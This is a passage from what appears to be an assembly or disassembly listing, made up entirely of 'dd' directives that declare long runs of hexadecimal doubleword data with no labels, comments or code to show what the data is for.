0E064C8BDh, 4C55A300h, 5419D438h dd 0D8B15212h, 0D7EE0075h, 8DEA64C6h, 4B0037EBh, 0D9153276h dd 50CC093Dh, 5421F428h, 0ECC2Dh, 51759278h, 1216EBD7h dd 43048482h, 0C2B2C760h, 0BBB5FC10h, 74806EC8h, 9524B294h dd 71561592h, 704854CBh, 1130F6E9h, 2FC21384h, 0C3C00CBh dd 67CC10BFh, 722171C7h, 74CD7320h, 0E9E0678Dh, 75C5C314h dd 0D76F4900h, 1E59C92Bh, 8F8C13CBh, 16B82182h, 1C170C3Ah dd 1048C8ADh, 8007C846h, 0E2AD1F41h, 0B177DA84h, 2C9254E6h dd 180062F6h, 614593D3h, 0EF2325h, 0C5F9249h, 0F473E27Fh dd 0E2BACB3Dh, 0A18B98h, 1E67B317h, 87D13E04h, 0BC92D96Eh dd 9C443046h, 8EAF1B15h, 9D4F88B8h, 3AB2C1E3h, 271F5619h dd 27160000h, 33E60C90h, 788418CEh, 613EF8B2h, 0F70F72E2h dd 0E1641E76h, 3D9EF567h, 0AC20CCh, 51617F75h, 0E2B7AFD9h dd 0EDD5D000h, 450A522h, 193D3FD8h, 3201F24h, 0B17B74CBh dd 2300587Eh, 7775F0E0h, 1CC056F2h, 28E35CB8h, 581200A0h dd 41C1B57Fh, 0A2004B2Eh, 0BD4051E6h, 49A0E59Bh, 0C48440Fh dd 1A154702h, 8884EF24h, 0B2C06042h, 8CFC79C5h, 98277944h dd 81550044h, 0AEC56E0Ch, 0E47323EDh, 5FC9841Ch, 59014C02h dd 7E4652Fh, 87146809h, 27F19252h, 0A6E2EC8Fh, 18C176B7h dd 64FACF2Dh, 9D7B3040h, 1CB83FEAh, 5802289Bh, 9C5FBE0Fh dd 43ACEA20h, 7CB5194Ch, 38C847B9h, 0C1DB005Ah, 1C16ECB9h dd 0F71D1D17h, 0BA0133FBh, 4B450643h, 0C861AC40h, 0BCE55854h dd 41806801h, 0F03A1040h, 0DB480DB8h, 44633AECh, 91270017h dd 797E3A69h, 9F047DC5h, 9CB14C5Ch, 122134C0h, 60830FEh dd 16A68A8h, 366FA002h, 0CA6CB609h, 67286AA0h, 6297440Ch dd 5AB88533h, 0C0680E83h, 0EE1CB1B3h, 0C488D4A4h, 0C2011D23h dd 848C5BAh, 1C88D918h, 0AAAD002Ah, 13B7ACA6h, 0A1C0EEE9h dd 5937CA31h, 0D3EB0765h, 3E3AD63Fh, 0C025EA05h, 38C06A14h dd 93461CB2h, 494E3B1Ch, 0DCB07515h, 9D835250h, 0B0C4B880h dd 339305Eh, 98D5E289h, 13CE6100h, 32FD7BA9h, 7AFF1C7Ch dd 58AE0022h, 7810D53Ah, 153E300h, 51F576DAh, 0A2D909C3h dd 928075CEh, 0C7DC830h, 9700EA75h, 0D28BED9Dh, 39F521A5h dd 0A20082BAh, 998C7B3Eh, 5D246F9Fh, 0B300E641h, 895C1D61h dd 566200E1h, 0CD290E7h, 591F9C5Bh, 834030A0h, 0DBE18802h dd 47FA44h, 4C82034Ah, 0AB9F1661h, 0D9BD5600h, 359B50F2h dd 26830EB8h, 9E208899h, 8A24819Fh, 0C27FD400h, 9D0B602Bh dd 0E13B00C5h, 0AA4C3395h, 0D8EB306Dh, 0CB1FBD3Dh, 0D2401478h dd 8F9D187h, 8F1C0279h, 0DAFDB766h, 89BE4DE0h, 0E4AA9E19h dd 0BA0B8108h, 84F73D80h, 0C51F1FFEh, 0D10078ADh, 9FF9E2F6h dd 5E010048h, 7411ED88h, 0AF751D84h, 144D7601h, 0D4B3D136h dd 56ED2988h, 1EA2C084h, 444E9A04h, 9944E665h, 0FC1F4669h dd 1D4E4251h, 9E446A15h, 0E4216548h, 82F212DEh, 253C8414h dd 302806F1h, 862229D8h, 6D5C228Bh, 0B7015D10h, 42284728h dd 0A76D19AAh, 0CE0849A1h, 111E12F7h, 2918CF02h, 0E1500E95h dd 0B42F07FBh, 8F8F7419h, 0B567FE40h, 3FF2A5F1h, 376B491Dh dd 8BEA6280h, 311553h, 0EF7C0124h, 3E4482C0h, 87CD4305h dd 93C0B2B8h, 0F85EE6h, 7B6CF9A0h, 2C1260ADh, 7121AF00h dd 759D549Bh, 999216A5h, 4BA0007Ch, 1AE74829h, 81767300h dd 3243AE4Ch, 0BA750092h, 0A9C6B71h, 0E10E488Dh, 0C7416054h dd 0C07EEC15h, 5C2BF549h, 94370146h, 220AC7DFh, 0D626E886h dd 5B5A5100h, 46E9A08Eh, 0C7A603D3h, 0D7A10942h, 2048948Ah dd 60005EA5h, 0C5731DEAh, 61DCD5h, 1F457117h, 0E68E70BAh dd 0D8359A07h, 4F7043ABh, 947E025h, 3B61745Fh, 4B009F56h dd 9867A69h, 8840F126h, 0D5CE7h, 786A0F7Dh, 0C5EABB7Bh dd 0DC6C31C0h, 3948CC2h, 0A97FB290h, 0BC982C95h, 2000B439h dd 521B5550h, 64E9B9h, 8461BDD1h, 0C859B05Ah, 0B24E5C00h dd 0A141A66h, 5BC51C26h, 0C2921E38h, 4790F6FAh, 7D2AB868h dd 49126B00h, 8B07053Fh, 9F7807B3h, 8002FBFAh, 63BE931Eh dd 9BCB0800h, 2CF6B982h, 0C937002Ah, 94B4D91Dh, 0E63FC747h dd 102960C3h, 4B888Ah, 0AB5D7865h, 0A28F518Eh, 222E8701h dd 0C6640CD5h, 43E5E0h, 75F9C594h, 85AB1ED7h, 0AC7C6C00h dd 1BA4CFB0h, 0E4BE00D2h, 96FB373Ah, 0FE3CE030h, 97798101h dd 0C09DAAA0h, 8E05C0h, 39FDAF48h, 0B22475DDh, 2576A500h dd 50A811BFh, 36E200A6h, 0CCEAF045h, 10089B1h, 52B4DE51h dd 50C8607Eh, 2C8C0Fh, 0C27C6FEAh, 95614109h, 8A7A3Dh dd 53B2F8D6h, 3E47E21h, 9BFEF5FAh, 30F77550h, 7893998h dd 462AA200h, 0B424366Ch, 47581F82h, 1C0B81F2h, 0FC6B72CBh dd 0DDA096DBh, 97001390h, 4B4FFAE9h, 0D332B2h, 0A15626E0h dd 0FF22DF61h, 0FCBD9000h, 0A62D2E28h, 9C6300B5h, 0AE96BF4Bh dd 0A83DDE7Bh, 4590052h, 0E01D8EDCh, 57E40EA1h, 0EF8FD33Fh dd 70BC14C0h, 30041F2h, 32D84B23h, 7036D4A7h, 0A59B3A64h dd 2526017Ah, 16E5337Bh, 0BF1080C6h, 6A129AD4h, 0F6F909ABh dd 18204288h, 696B7CA2h, 4B6D2904h, 8083AC7Ah, 2A0F7FBh dd 0B01E7D5Eh, 0E6E901E9h, 62043678h, 0DCDFED99h, 0FC3A1827h dd 0C20070D5h, 0D9A3959h, 7EFA7B4h, 35B5BDDAh, 804B0794h dd 0F4AFA0FEh, 5D644E02h, 40A41C61h, 0B78D8Ch, 0E1A9C3A7h dd 97904F26h, 8ED3AD03h, 0D872DF08h, 3FEE6A4h, 0ACEDA7FFh dd 2E89AD5h, 8F009726h, 0F3CFF410h, 137A2E7h, 0ECEE0EDFh dd 0D0D9BB56h, 0B00061Ah, 28FD4D4Fh, 6C3C70h, 55856852h dd 0DFB24BDh, 1871709h, 7D0C80E2h, 515937h, 1E0E15F3h dd 99704F3Dh, 36000D7Bh, 6807B22Dh, 0D810E1h, 2E44D758h dd 0AE29E839h, 2ABB4Ch, 0BDC3F1C7h, 53308Fh, 0DB3C525h dd 0E27C6526h, 0FA02DA7Ch, 0C781BE33h, 0BD016073h, 0D8370F9Ch dd 66499891h, 55C1B800h, 0C3F4F632h, 65ADFD00h, 57E65B2Bh dd 0B0E30085h, 398A4F3Fh, 0C5002395h, 1568C31Fh, 0B47A09h dd 4CDEB198h, 8266EA96h, 81B72200h, 0C0D3FDD0h, 0A10C00ACh dd 3BAD270Ah, 87004837h, 82E14398h, 0E32DCFh, 2F134D12h dd 7817B709h, 4500317Ch, 7F9CB19Bh, 3C87E46Ah, 0C860A202h dd 20DA0CA8h, 0AA03627Dh dd 3A2A88A9h, 98D5D04Bh, 0F2FFC32h, 4E1CCAEDh, 74889C60h dd 0E706D2C4h, 0B5BFBED1h, 0B290010h, 1E7F970Fh, 0FA3DED49h dd 2FBD00C8h, 7B1AC7E9h, 3ED00F5Ah, 3FEAA05h, 714A0A6Ah dd 2DC8B0A7h, 3800F234h, 0A1EC1703h, 193DE240h, 710E0908h dd 0D1AFEC87h, 6597921Eh, 0A3D6F680h, 0BDFF7Fh, 1523C19Eh dd 6855C28Dh, 9B300F00h, 2A7A74FAh, 50D60048h, 3ADC3293h dd 0BB033392h, 0E799292Ch, 68A8E0ACh, 54160003h, 0CABA48D5h dd 862C82AAh, 7102884Ah, 0AE24D4h, 480BC349h, 0C288800Eh dd 97A1C093h, 3E6E5871h, 6280C057h, 6C8B7A84h, 3E003CC9h dd 741CFD16h, 5CF42Ah, 1470A5B3h, 0E832AF1Fh, 0C2452C00h dd 7A724F9h, 0C4AD0051h, 91FF43C6h, 0A900299Dh, 0E01625D2h dd 902B2Ah, 529B3B8Fh, 57672E23h, 33007D78h, 4296ADB9h dd 1B396Fh, 0F06DC380h, 0DB4CEF75h, 0AF133C00h, 96E1D750h dd 38C1014Bh, 80E8611Dh, 15BC705Fh, 4095D41Dh, 7C369600h dd 6467Ah, 0AF86CC77h, 29346671h, 41A0850Eh, 4F003D25h dd 813F5164h, 0EC5F3B78h, 58456A80h, 0E3613155h, 2AA85203h dd 0B824B28Ah, 2A92E10h, 7B4DA122h, 0D443F909h, 256C0388h dd 32C14100h, 0C43E5CA2h, 0A59200AEh, 132658A9h, 4404773Dh dd 0A7D3B95h, 0D92A2780h, 943E00BEh, 0A66453F2h, 0E9B8B275h dd 58398E12h, 1179D402h, 35D920D7h, 0FBEC4A48h, 0A490AF26h dd 773E4000h, 2CC0AD6Eh, 0F889F9h, 8DF522E6h, 7D038628h dd 9ECD3EF2h, 0CD17CBA2h, 0FE4F90D1h, 54838E00h, 0F7BAC100h dd 96B0A833h, 8C1058F1h, 0B8366700h, 358BD6D5h, 0B38FC800h dd 0AE531D27h, 46CA00E2h, 74937683h, 50018167h, 145A10F2h dd 0FCE8C253h, 17853B44h, 1BC782Eh, 0C6EE641Dh, 3C289D4Fh dd 0EB7F017Eh, 0E84A02EDh, 0C2A60h, 1C8A36A9h, 3E2E784h dd 33CEF000h, 8514BEB6h, 0D4540099h, 0F88A0BBCh, 0C31FC992h dd 9A071815h, 180C0C62h, 3BE000E1h, 0FBF47725h, 0B900F18Bh dd 5748809Ch, 22D5BFh, 0D0326071h, 0AAD49231h, 50B7CE30h dd 879B9Eh, 0C98D9CB6h, 4897E306h, 1163EC01h, 1279BB15h dd 0BCF455D9h, 741A006Fh, 71783873h, 3405D7B3h, 4481F0F5h dd 927AB900h, 7AE0DD7Bh, 0EB4E0578h, 830766DEh, 1903AF14h dd 0B0575DD5h, 12AAD8B5h, 2E720C6Ch, 0ED21EADFh, 0B70E8D73h dd 0CED7073Ch, 0AE80BC90h, 0DDFBB50Eh, 9E080CDAh, 2719D3DCh dd 0BC4DCF07h, 6BE0FC28h, 65910830h, 0C0E0C45Fh, 93CE1208h dd 0BB8AA13Eh, 0FF3D8044h, 0A791AFB1h, 0DCDA03CBh, 1048D7F8h dd 0F672A1D8h, 0BD612801h, 829CDEEEh, 178DC70h, 0E7ADE098h dd 0FCD302A0h, 8E0748BAh, 192B3B47h, 7099ABD0h, 0AE111226h dd 0C7CC00FCh, 2CA5610Eh, 59DCCA0Eh, 8D38C0A9h, 7B656804h dd 0F13D0003h, 5CF574B2h, 673CF79Ch, 8C363D66h, 28CA47E6h dd 0D5A0086h, 23396DF9h, 5100D3B8h, 8580EB41h, 670309h dd 0F93E5A64h, 3F169148h, 43BCAE4Ah, 5970078h, 0E1180BD0h dd 0DF000247h, 4C3A67EBh, 13B98Ch, 240EF660h, 0D688BC5Dh dd 27183E01h, 101B6BD3h, 0EAE5D0h, 369E89B7h, 0DACDD5BEh dd 0C3AA3800h, 3A51482Eh, 6DFB0279h, 82AC4C85h, 0AAB6A860h dd 4AE5F200h, 7F909957h, 0CC470010h, 0EB21D796h, 0D518B91Eh dd 8158AF78h, 314BC8h, 0F092D604h, 6E0151E9h, 0BE8AA203h dd 40BB7C38h, 0E429A302h, 50E05B53h, 0B93F9FFDh, 20EEB00Ah dd 30CF5827h, 6711E86Ah, 0DC18508Fh, 0C3703387h, 2283030Ah dd 0BC518156h, 78280CA0h, 20C0A95Ch, 0ED10986Eh, 1F860660h dd 0DF13DDC7h, 0AC9C0072h, 2C7778FFh, 0B6814007h, 0A7BEC034h dd 0BD804FCBh, 3BA3DBh, 6C13414Dh, 678B18F2h, 0F0E8CD05h dd 44801BF1h, 1C9801A8h, 83DE1C29h, 25DBE16h, 0F33DD0A0h dd 2862C000h, 53D66074h, 19640205h, 0BBC913C1h, 15919480h dd 0D1015686h, 80344797h, 9C4BE08h, 0E62C073Dh, 50B60E60h dd 4C83D8AAh, 297E8E00h, 6406F3B9h, 865D0037h, 2AD02538h dd 0D118BA6Eh, 0C19831CCh, 7C921FFDh, 47007B1Dh, 0CF0AF7EEh dd 16001ECEh, 4C29DA87h, 58283B4h, 2D796C45h, 0F6CB14D6h dd 0C484CF1Ch, 8C7DBAFBh, 61005A10h, 0CAFC3739h, 0ABF521Fh dd 12EDEAC8h, 0B580B9A8h, 0BE40F4D1h, 0F12E055h, 0EF00FAA6h dd 46E453F7h, 26CD0B7Ch, 644013F0h, 8B08F2Fh, 1838EC0Eh dd 0DB07371Fh, 2231C40Dh, 71F8EAD7h, 8D18C026h, 3BAC40D3h dd 0F02E78C2h, 902CC3ADh, 0B8A4C652h, 0B7880FD8h, 0D9003F1Ah dd 69F11812h, 1DA35A00h, 568CC04Fh, 0AF44Bh, 264707D3h dd 3E2F2078h, 4AC7E000h, 0D7E481A0h, 0D5B7005Dh, 64BDDB3Ch dd 6816529Fh, 0C8008707h, 204EC6B6h, 8C970037h, 77FA4C5Dh dd 263FB76Fh, 0DF628001h, 0DE2B367Fh, 0D84807E5h, 7031BB7Ch dd 5D99B151h, 0B680F093h, 0DE50F54Ah, 18DD1FEDh, 8E05FFA2h dd 47087602h, 0E1104CACh, 0F46FAE73h, 26004EBEh, 2ADC1C3h dd 0C0F82D18h, 88790698h, 69148F96h, 12B0B1D1h, 0D307938Dh dd 4F9032F2h, 0D6283Eh, 83D0BD31h, 0CE24EAB7h, 32DD1113h dd 80CC3009h, 3D74E594h, 93E000C7h, 92EBB8F2h, 0ED0ABC2Dh dd 0D457CA96h, 0C900369Dh, 45E9A323h, 570FAh, 471D09B5h dd 8D2F4FF6h, 0A2781600h, 18C27BE9h, 74EA4C30h, 0B12E6400h dd 8711C147h, 10009871h, 0C6E40129h, 11F451Bh, 46383059h dd 0D4F23FEBh, 95F03A06h, 96BCB500h, 8F355E3Ch, 5C29488Ch dd 0AD819F03h, 0A5A0CFA7h, 0E003D71h, 89603C6Dh, 25E68EFDh dd 4080A2DCh, 76F482Bh, 8A00C5F4h, 93654A7h, 2ECADB4Fh dd 14BB380h, 6A6BC33Fh, 35302060h, 44B2ED00h, 9BE36F2Fh dd 0F05916FAh, 5AEA0749h, 14B1235Ch, 0F14E0FA8h, 5639121Fh dd 335B7FC0h, 4836BBF6h, 375B227h, 31DCA205h, 0BAE8D1EEh dd 0D00C70Ah, 9B0774F1h, 2BCA6E5h, 1AB5185Ah, 0CCD05781h dd 7B45502h, 812013B1h, 5E73F6BCh, 0B3C020h, 86FEBE0h dd 66813CCBh, 0BC362500h, 7F8631ABh, 693F03D6h, 89A10CB8h dd 0CBAE92F8h, 0E8F44Ch, 96562CB0h, 146F2613h, 0A4697F70h dd 0DA00E43Fh, 0D2FEBFEh, 0D30E5BADh, 2BF231h, 14636725h dd 10524AEh, 4BA60018h, 0FA68AA5Ah, 0ADE9DF00h, 2ADD7525h dd 23498A4h, 83B92466h, 79435374h, 0A6363CD8h, 4B001975h dd 0EFDFBB2Bh, 6686AAh, 1CB40CE4h, 0BDD46807h, 580EC12Ch dd 9A186E00h, 3F83932h, 0EF818E70h, 3382C0A7h, 0D1E55F40h dd 0A24D6400h, 0B7A085E4h, 2B0B0083h, 1A8BCA0Fh, 3818EF04h dd 0BAE855F4h, 0B3E300A0h, 0EB900EFFh, 11005398h, 0BB0B84B9h dd 0F4672C1Eh, 0B62F0315h, 0A3637023h, 7DE0BEC2h, 9104395Ch dd 0E232B48Fh, 6838B082h, 574D90h, 17B7E934h, 7B931839h dd 0D8B62900h, 0CA5B51EDh, 957716FDh, 378409FFh, 7A0CA056h dd 0E84D10E1h, 931C18EBh, 48C4E022h, 0BC6B213h, 6B47541Eh dd 2D005B88h, 52128F0h, 95A811FFh, 8948C1D4h, 41F848E5h dd 0FBD92E0Bh, 6E18A7DCh, 678945E0h, 2CE93BF4h, 0A4762Ch dd 5D6DE0A7h, 524853C5h, 5406000Ch, 0A3BBA0CDh, 60BA74A4h dd 579A1001h, 0D8000A0Ch, 83104B40h, 9A742F81h, 87712CE0h dd 0C8AC4010h, 5776112Dh, 95763Ch, 8DC98B9Dh, 2860523Fh dd 4E99B68h, 0F55EFE98h, 4824D0FAh, 714D7F9h, 0C07815h dd 0F89E3ABDh, 614B80h dd 0B7B54A8Ah, 0DB308EE4h, 3CC03D3Dh, 718011Bh, 54398D33h dd 75D4C0CEh, 0EF121FF9h, 9EBA4028h, 5185022Ch, 94B8C17Fh dd 74002496h, 0E26EF1B4h, 424985Bh, 6819D318h, 86010027h dd 59A6E6h, 4130AE47h, 0F92E9EACh, 0F4FF1A71h, 0F5009293h dd 13A41429h, 963CA98Ah, 8420A57Ch, 7A06ED10h, 0B90B9E09h dd 0F92481C9h, 802D5688h, 68836918h, 0AEB8D3A9h, 50008E4Fh dd 0BECE27E0h, 0C411CFBFh, 0B3F89A67h, 4A8AB3E4h, 702FEC80h dd 0F601498Ah, 0CC9D05A7h, 0C080851Ah, 8E4D3ECh, 0A54CEF5Dh dd 6CFA00C7h, 2E8AAE06h, 0AD5A0BC2h, 200014F5h, 0C066B28Fh dd 30EF12Dh, 0FD1C2F10h, 3771C1C0h, 1BC801FBh, 0EA317DC3h dd 1111808Ch, 0FD608DB8h, 6E76008Ah, 0A64CE096h, 4F04DEA2h dd 12343377h, 8D099090h, 0DFB700ACh, 96B08067h, 0A21C49ABh dd 23402D81h, 99D80EE6h, 589201h, 0FBF66DB1h, 688FC7CAh dd 2F012870h, 64EA3A54h, 2C302B3Eh, 7C7E1F13h, 26D80099h dd 73F327CEh, 4F03D100h, 57AD7834h, 9A2D0010h, 0E0A430A2h dd 0E64C197Eh, 0B33101A8h, 4CC171Ch, 93BA9E0h, 845E742Eh dd 56576402h, 98D1CCA3h, 0CC02ACE0h, 841C1AF8h, 1C014EEh dd 0B8D5F441h, 4DCA0B62h, 444129BEh, 20A5E9C9h, 2D00A488h dd 0C3E1AC70h, 1F39BCBDh, 0C393E91Eh, 5EF9B029h, 0F700307Bh dd 77BCF1C3h, 2EECA8E5h, 14D163h, 58F94481h, 0F00888Ah dd 297FA6A0h, 0DA7D3Fh, 816F43C3h, 5DEA6A1Bh, 0C42E671Dh dd 3C399200h, 30B2FB5Ch, 0F21950EFh, 0BF00BBF7h, 2CF7FDBh dd 1F991897h, 0C0415184h, 2E6D62C9h, 0D900F3B9h, 383EF65h dd 394C99h, 89E1F747h, 4B3CA5C2h, 0CFABA800h, 2F8AF0E8h dd 2BF449h, 0EAD932C4h, 6050F79Fh, 4DA7FA0Fh, 36070005h dd 0B20DD7h, 331FEA64h, 0ABEB9421h, 5F4DF602h, 80715045h dd 0E4FB19C8h, 90F46Eh, 0D3B9E989h, 5D4035FDh, 0DE085216h dd 2D7D5900h, 66C0183h, 0EB75B185h, 421E2A05h, 970026ECh dd 3722FAAEh, 0C4F1286Ah, 51A105B0h, 0BED28ACEh, 50CC18C2h dd 0C1BE3B18h, 218BC2Eh, 0A9A5A6DBh, 86C5B7C0h, 2A279807h dd 71C0BD79h, 3AEA4803h, 818FE943h, 1B808526h, 67FFC4DCh dd 93396838h, 0F100B030h, 0A6956F11h, 5551E5Fh, 0B8ABC0DCh dd 90FBB44Ch, 0AF9ADF00h, 13D7B11Eh, 0EF4F076Dh, 20C130E9h dd 0C6E7BEFDh, 0D9009890h, 0F9D44E10h, 4B90AF94h, 80104F97h dd 16A8DF22h, 2E0A0100h, 0C2F64C32h, 1EDB6101h, 0E224DE6Ch dd 0C2076870h, 0B4B9D1A3h, 99A0FA40h, 759A0268h, 5A26696Bh dd 40D1E2h, 0D703D0A7h, 0F5154AF9h, 5586004Bh, 86DC49BEh dd 0FD01E682h, 71045D9Dh, 4241930h, 74BD03DDh, 4061078Dh dd 0C45A3881h, 0B0652EAh, 0CC11E10Fh, 1780EA4Ah, 1645BD22h dd 0C98609Ch, 8A0735DFh, 0B6DD7F7Dh, 0F55D4A10h, 12900EC3h dd 4F80EE2Fh, 83C8639Bh, 4C01F490h, 9A28DF7Ah, 9ADB3F0Dh dd 0AAC060BDh, 5ACA007Fh, 4B45E091h, 760146E4h, 8C96BE1Ah dd 0DFFCED6Eh, 3F09FC6Dh, 3B0085EFh, 0B5F26D9h, 8A090A7Bh dd 82F6F9AEh, 0E2DCA8A9h, 0EDF441DAh, 0FE30C075h, 4E122C26h dd 8B650088h, 0D27B142Fh, 0D44AFE00h, 6429E7C5h, 1DC94E93h dd 0E2C00074h, 0B5401EB1h, 50691900h, 9E8FC879h, 0CE080328h dd 579BB843h, 8E34D800h, 4236B265h, 69E100B5h, 0DC70423h dd 0D800E2C2h, 49C51797h, 4E2ED5B9h, 96B00048h, 9305E385h dd 3110DD09h, 76A08046h, 0B027D897h, 67AA00ACh, 0D6C6B335h dd 6EEA0589h, 0E00C76FEh, 0B0DDF837h, 0D76D07F4h, 0E040CB0Bh dd 949F3278h, 0B67B05FAh, 26F42017h, 0E9A28805h, 0FB0CB0h dd 0C6303422h, 0DD16B238h, 37AC0D00h, 0DE774E75h, 7DBE0341h dd 0E5F2DFA7h, 0AC618FE2h, 7012DC0Ch, 7CE6990Ah, 92008704h dd 0AFE48795h, 1A0F00B6h, 895612CDh, 0C70E8E11h, 0A4F2B822h dd 70E03E7Dh, 5040B18h, 27065044h, 0D0706C7h, 8EE03B4Fh dd 26C0B605h, 28CC010h, 0B951D3F9h, 88C80821h, 430B4F61h dd 0E246C4E3h, 5FB00238h, 0FCF151h, 0B4927E10h, 0A2244191h dd 5A870019h, 33571325h, 1C01000Eh, 48B6255h, 0AAA4C822h dd 2B2CD00Fh, 67003294h, 11590B75h, 72024E8Bh, 88C402A1h dd 0F5BF6498h, 0BE50AE60h, 76E47B54h, 0C244949Eh, 963E64F0h dd 0F0040840h, 2C79EB0Fh, 21442C5h, 2EBD904Bh, 644031BEh dd 0BB008077h, 0DB5E27AAh, 749A13h, 0F185083Bh, 0A0C5BFE1h dd 8018CF3Ah, 3A25E2BDh, 95801Dh, 91FFA527h, 67D94685h dd 8C2F7304h, 4B0A2DDh, 0B56602E2h, 0B8D0477h, 573AEC58h dd 0B86C009Bh, 0A0F87C1Eh, 0D3360064h, 3C536F49h, 6300B6F5h dd 0A77B0305h, 0C31FB30h, 0A0E8D6CEh, 5A86B8F1h, 5A7C00EBh dd 35E6A4AFh, 0BE02C500h, 0D84B37AEh, 4FC01979h, 0E0C36822h dd 0A85F4A7Eh, 33548C00h, 481CB256h, 0AF01DBCAh, 0B9712C1Bh dd 0B5C18831h, 4AA18E67h, 0A6FA1260h, 30B8F179h, 0A8F37C07h dd 60DC4DC8h, 0E8B20080h, 4712F611h, 261AE1A2h, 11FC5Bh dd 0A33F78E5h, 79FB00B5h, 0C103A818h, 2FF207C8h, 0EDF03800h dd 13BC72D1h, 0C404FEE4h, 47B8EAF8h, 7351BF6Ah, 1E709C6Bh dd 0ED7000EFh, 0D218AF78h, 0BD009B44h, 386342D9h, 0E28165B4h dd 0E1EB00A6h, 143A9896h, 0A09C596Ch, 0AF760400h, 18F57E6h dd 791CF907h, 604F3202h, 645CFB50h, 804739D1h, 5D41EFF4h dd 7FEAB7Ch, 517C27Eh, 2644D051h, 0C003BB9h, 1AE6E985h dd 7494291h, 0ADE45B14h, 0ABE830A0h, 0C700D3A5h, 17D0B484h dd 0A79AE9h, 9106B313h, 0AA11523Ch, 0E60A7301h, 0FD34374h dd 59A870h, 49B9D5D2h, 0ED0C5ADAh, 3E426400h, 50E03CACh dd 62390057h, 0B85C99Eh, 13001BDBh, 64232241h, 36BD214h dd 8747B6E3h, 2BC01A33h, 0E0C0D7DCh, 5994E055h, 0A7190007h dd 1DD51C29h, 6F3A7DDDh, 8096BCABh, 376A558Bh, 78DC56h dd 0C3D5B033h, 8A748544h, 88CC7600h, 0AE065852h, 4875005Ch dd 0EB30BAF5h, 710CF114h, 2ACD2374h, 0C8401C17h, 61BE40BBh dd 0C2F173C6h, 0C4004A5Ah, 87F4DCCAh, 86583B0Eh, 265DC100h dd 4BA81505h, 0FA0E6BE2h, 0E0BA2290h, 1E0103D0h, 0F5B90368h dd 0EFCC6008h, 57AC83E8h, 40F460BAh, 5A5E7B00h, 4E2D673Ah dd 35070106h, 0C0B8D595h, 0E5C6CCFBh, 16AE03Dh, 0A47F1B50h dd 31D84943h, 4E0D00FFh, 9F82346Ch, 88076B65h, 0DD287A9Bh dd 95CF0300h, 0CBB00745h, 80ADD9B8h, 397AA60Ah, 0F04C087Ah dd 8B5D01E8h, 1443B7AEh, 1E1DF5E0h, 0F86E7565h, 0A0CB6A00h dd 0FD892E3h, 0E4E27707h, 0EA70DF4Ah, 2D90FCh, 9C6E69D4h dd 0FF0446F0h, 0E6C0ED01h, 63BF824Ah, 91FDC0F2h, 0B3E30053h dd 0AB4F2EEFh, 0B5093E72h, 1F3131Ah, 559B3388h, 0FFC0783Ch dd 5ABE27A0h, 4DEB003h, 0A8862F01h, 346F6D0h, 6BE3A6EBh dd 80E8C6E9h, 2A90DBE5h, 0DDE7D505h, 8C8031AAh, 7A2DE3A1h dd 48D796Ah, 8FAC602Bh, 12A8F9E4h, 14927FE8h, 53DF20B3h dd 0F0096197h, 80AC6A18h, 380184ADh, 0AA850046h, 41B7DD94h dd 2100284Bh, 6EEB1CE1h, 1680D51h, 62FD1BCCh, 355E9B29h dd 1CA42148h, 0ED038A6Ch, 0AF416261h, 0B87800AEh, 5F9816C8h dd 0E9005392h, 0E7A4739Eh, 3BE84908h, 978943C3h, 48402319h dd 0C600B96Fh, 4577DF39h, 1C66C4EEh, 80A8EF9Bh, 99880F86h dd 0E61C845Dh, 0C39D25F2h dd 1B988E80h, 5B91EBh, 2BACB053h, 30AAD413h, 0DE2A2200h dd 0FB8AF0BCh, 95F2ADh, 0D33A3834h, 5CE3E5C4h, 97796003h dd 0D096A1B2h, 27F259D7h, 14607B0Eh, 50FAEB57h, 484F8800h dd 2D93FC31h, 0D246015Ch, 0CCEF6DB4h, 56903071h, 1BC2120h dd 6E49890h, 2080AE55h, 450B89D6h, 4E9D5D9h, 7EC3EA44h dd 77682E4Dh, 0F83EBEB4h, 803E08Ch, 0D103A410h, 0F1425E5Bh dd 0E38DD8FFh, 0B8DA7418h, 0CB33DB4h, 24C72F00h, 3432F6FAh dd 7CD48197h, 683A60ADh, 0BC3CA8ECh, 44005E7Bh, 1C97BA4Ah dd 2967034Bh, 0C8CE5B10h, 26E3C88h, 0DC000B4Eh, 98E2E1F6h dd 2AB10092h, 0E9A13323h, 0A81FB387h, 7D00C3EEh, 0A553C973h dd 504EFC0Ch, 0EE572C2Fh, 48B8E25Bh, 0F6003CE0h, 6317E7BCh dd 2122AE1h, 0D202FCD5h, 50B48B77h, 8775001Ch, 764C3928h dd 271FFB10h, 0C8A5C69Ch, 0BBF710h, 92A2578Dh, 30691AE0h dd 80AB3A28h, 0C112B179h, 0C438244h, 0A8260A3Fh, 887F9Bh dd 1E024192h, 5559CB20h, 2BE42700h, 0ABCFC423h, 4E710037h dd 0BA05CAF4h, 3000B347h, 2A8B7EB9h, 2E65C46h, 0CD0395A8h dd 68F03FA3h, 0B3E01C1Dh, 4C0C1883h, 0DA40F2D9h, 28953C58h dd 0E2E5A003h, 0A0F5C431h, 0C8005F44h, 3FB64121h, 73C932h dd 0FB3A4DF7h, 6951465Dh, 1A53C000h, 7C6B1290h, 207B3C15h dd 68357881h, 74210B70h, 9548ABE8h, 0C05C8E84h, 6F2A570Ah dd 0F01C5033h, 4C860788h, 0B48AD819h, 0D4ECDFh, 451E0662h dd 340D460h, 7CA72751h, 0DE90F3F6h, 0BD03F155h, 0E889ABA9h dd 332EE184h, 19D4BD0h, 0C4B75B90h, 2F258CB8h, 0EDFDD840h dd 7DA0FEh, 81B6A50Ah, 0FB3493BCh, 5382A100h, 1BE41924h dd 0D47B1D04h, 6AABC05Eh, 3DCCDB4Dh, 0A630A800h, 826D92Bh dd 9CF10A3Ah, 0FE2C04h, 1E14032Ah, 0BB26C287h, 68003AD7h dd 9701D35h, 3FD80759h, 60DA1703h, 0B02C3DD5h, 0ADDD9207h dd 48A24AE2h, 0A054DEh, 4B120CF5h, 0A42E7A56h, 0ED05AAAFh dd 2C808E53h, 3CEE0DD6h, 863D78E2h, 1F80323Dh, 0F882CDDCh dd 3004DC3h, 0EC917490h, 1265C194h, 85AC1Ch, 15C5E00Ch dd 0E70003F3h, 4582D1ADh, 3F6D7553h, 5005D50h, 90CFF4D5h dd 74969836h, 94119B02h, 0C0E054E7h, 8C595DBCh, 0F2803400h dd 29091266h, 9AB02C27h, 423F0192h, 0C4731F4Dh, 690203ECh dd 0CBA284D4h, 34DD8019h, 1CF52Fh, 483510B7h, 0EA9FB6FCh dd 0F002B01Dh, 0C60C7AC0h, 0FF1161E7h, 9E7E66C4h, 0BE6700B4h dd 0F2B2E54Fh, 8707207h, 54A0CFD3h, 